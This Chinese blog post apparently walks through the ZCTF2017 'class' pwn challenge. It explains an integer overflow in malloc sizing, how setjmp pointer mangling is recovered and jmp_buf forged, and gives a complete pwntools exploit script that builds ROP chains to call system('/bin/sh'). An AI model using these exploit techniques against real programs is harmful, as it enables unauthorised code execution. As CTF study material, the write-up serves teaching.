每日一胖——ZCTF2017之class

2017-03-04  本文已影响0人  bluecake

漏洞类型:整数溢出

程序入口

Welcome to my class!
Please input the number of the student:10
1. Add Student
2. Show Student
3. Edit Student
4. Delete Student
5. Exit
>>

感觉比较像是和堆有关,实际上并不是。在init函数里面,有这样一段代码

g_class *init(void)
{
  g_class *result; // rax@6
  __int64 v1; // [sp+8h] [bp-8h]@1

  puts("Welcome to my class!");
  printf("Please input the number of the student:");
  v1 = read_int();
  if ( v1 <= 29 )
    v1 = 30LL;
  g_class = (g_class *)malloc(200 * v1 + 8);
  if ( !g_class )
  {
    puts("malloc fail");
    exit(0);
  }
  memset(g_class, 0, 200 * v1 + 8);
  result = g_class;
  g_class->student[0].total = v1;
  return result;
}

malloc函数的参数源于我们输入的整数乘以200后加8,那么在给定一个比较大且合适的数将会使得整数溢出,从而可以只分配一小块内存

In [3]: (1 << 64) / 200
Out[3]: 92233720368547758L

In [4]: hex(92233720368547758 * 200 + 8)
Out[4]: '0xfffffffffffffff8L'

In [5]: hex(92233720368547759 * 200 + 8)
Out[5]: '0x100000000000000c0L'

因此,只要输入92233720368547759就可以将分配的内存限制在0xc0。完成了这一步,我们基本上就可以泄露堆上的大部分内存数据。接下来就是比较有意思的地方,程序并没有使用while来实现循环,而是使用了setjmplongjmp来实现【原理参见】,其中涉及到的数据结构为jmp_buf。相关调用代码

  jmp_buf = (struct __jmp_buf_tag *__attribute__((__org_arrdim(0,1))) )malloc(0xC8uLL);
  if ( _setjmp(jmp_buf) == 0 )
    handle();

其在堆中的结构如下:

0x55ede4e890d0: 0x0 0xd1
0x55ede4e890e0: 0x0 0x59b8f88abca1ad76
0x55ede4e890f0: 0x55ede442caa0 <_start> 0x7ffc0aa1bfd0
0x55ede4e89100: 0x0 0x0
0x55ede4e89110: 0x59b8f88abca1ad76  0xd9b254c686bad76

跟踪setjmp函数,不难发现,部分数据加入了异或处理

Dump of assembler code for function __sigsetjmp:
=> 0x00007f77c501acf0 <+0>: mov    QWORD PTR [rdi],rbx
   0x00007f77c501acf3 <+3>: mov    rax,rbp
   0x00007f77c501acf6 <+6>: xor    rax,QWORD PTR fs:0x30
   0x00007f77c501acff <+15>:    rol    rax,0x11
   0x00007f77c501ad03 <+19>:    mov    QWORD PTR [rdi+0x8],rax
   0x00007f77c501ad07 <+23>:    mov    QWORD PTR [rdi+0x10],r12
   0x00007f77c501ad0b <+27>:    mov    QWORD PTR [rdi+0x18],r13
   0x00007f77c501ad0f <+31>:    mov    QWORD PTR [rdi+0x20],r14
   0x00007f77c501ad13 <+35>:    mov    QWORD PTR [rdi+0x28],r15
   0x00007f77c501ad17 <+39>:    lea    rdx,[rsp+0x8]
   0x00007f77c501ad1c <+44>:    xor    rdx,QWORD PTR fs:0x30
   0x00007f77c501ad25 <+53>:    rol    rdx,0x11
   0x00007f77c501ad29 <+57>:    mov    QWORD PTR [rdi+0x30],rdx
   0x00007f77c501ad2d <+61>:    mov    rax,QWORD PTR [rsp]
   0x00007f77c501ad31 <+65>:    xor    rax,QWORD PTR fs:0x30
   0x00007f77c501ad3a <+74>:    rol    rax,0x11
   0x00007f77c501ad3e <+78>:    mov    QWORD PTR [rdi+0x38],rax
   0x00007f77c501ad42 <+82>:    jmp    0x7f77c501ad50 <__sigjmp_save>

setjmprbxr12r13r14r15rsp+8rdx[rsp]都保存了下来。弄清楚了jmp_buf,后面的任务就是通过show操作泄露出这些寄存器的值,接着通过edit操作伪造数据,最后控制EIP。完整代码如下:

from pwn import *

debug = 1
slog = 0
p = process('./class')
if slog: context.log_level = True


def add_ret(vstr, length):
    if len(vstr) < length and not vstr.endswith('\n'):
        return vstr + '\n'
    else:
        return vstr


def rerol(d):
    return ((d << (64-0x11))+(d >> 0x11)) & 0xffffffffffffffff


def rol(d):
    return ((d << 0x11) + (d >> (64 - 0x11))) & 0xffffffffffffffff


def add(name, age, addr, introduce):
    p.recvuntil('Exit')
    p.sendline('1')
    p.recvuntil('name')
    p.send(add_ret(name, 0x20))
    p.recvuntil('age')
    p.send(add_ret(str(age), 0x2f))
    p.recvuntil('addr')
    p.send(add_ret(addr, 0x40))
    p.recvuntil('introduce')
    p.send(add_ret(introduce, 0x58))

def show(index):
    p.recvuntil('Exit')
    p.sendline('2')
    p.recvuntil('number')
    p.sendline(str(index))


def edit(index, name, age, addr, introduce):
    p.recvuntil('Exit')
    p.sendline('3')
    p.recvuntil('number')
    p.sendline(str(index))
    p.recvuntil('name')
    p.sendline(name)
    p.recvuntil('age')
    p.sendline(str(age))
    p.recvuntil('addr')
    p.sendline(addr)
    p.recvuntil('introduce')
    p.sendline(introduce)


if debug: gdb.attach(p, open('debug'))
p.recvuntil('student:')
p.sendline('92233720368547759')

# 泄露寄存器的值
show(1)
p.recvuntil('name:')
r12 = u64(p.recvuntil(',')[:-1].ljust(8, '\x00'))
print 'r12', hex(r12)
p.recvuntil('addr:')
enc_rsp = u64(p.recv(8))
enc_rip = u64(p.recvuntil(',')[:-1].ljust(8, '\x00'))

code_base = r12 - 0xaa0
print 'enc_rsp', hex(enc_rsp)
print 'enc_rip', hex(enc_rip)

real_rip = code_base + 0x1495
cookie = rerol(enc_rip) ^ real_rip

print 'cookie', hex(cookie)

real_rsp = rerol(enc_rsp) ^ cookie
print 'real_rsp', hex(real_rsp)

fake_rsp = real_rsp - 0x48
pop_rdi_ret = code_base + 0x000000000001523

# 伪造寄存器数据
addr = p64(rol(fake_rsp ^ cookie)) + p64(rol(pop_rdi_ret ^ cookie))

edit(1, '', 0, addr, '')

p.recvuntil('>>')
payload = '5;' + 'a' * 6

#布置rop泄露puts函数地址
puts_got = 0x0000000000202018 + code_base
puts_plt = 0x9a0 + code_base
main_ret = code_base + 0x0000000000001355
payload += p64(puts_got) + p64(puts_plt) + p64(main_ret)
p.sendline(payload)

put_addr = u64(p.recvline()[:-1].ljust(8, '\x00'))
print 'put addr is ', hex(put_addr)
libc_base = put_addr - 0x68f60
system_addr = libc_base + 0x3f460
print 'system addr is ', hex(system_addr)
bin_sh = libc_base + 0x161879
print '/bin/sh addr is ', hex(bin_sh)

# 布置rop获取shell
addr = p64(rol((fake_rsp - 0x28) ^ cookie)) + p64(rol(pop_rdi_ret ^ cookie))
edit(1, '', 0, addr, '')
payload = '5;' + 'a' * 6
payload += p64(bin_sh) + p64(system_addr) + p64(main_ret)
p.sendline(payload)
p.interactive()
上一篇 下一篇

猜你喜欢

热点阅读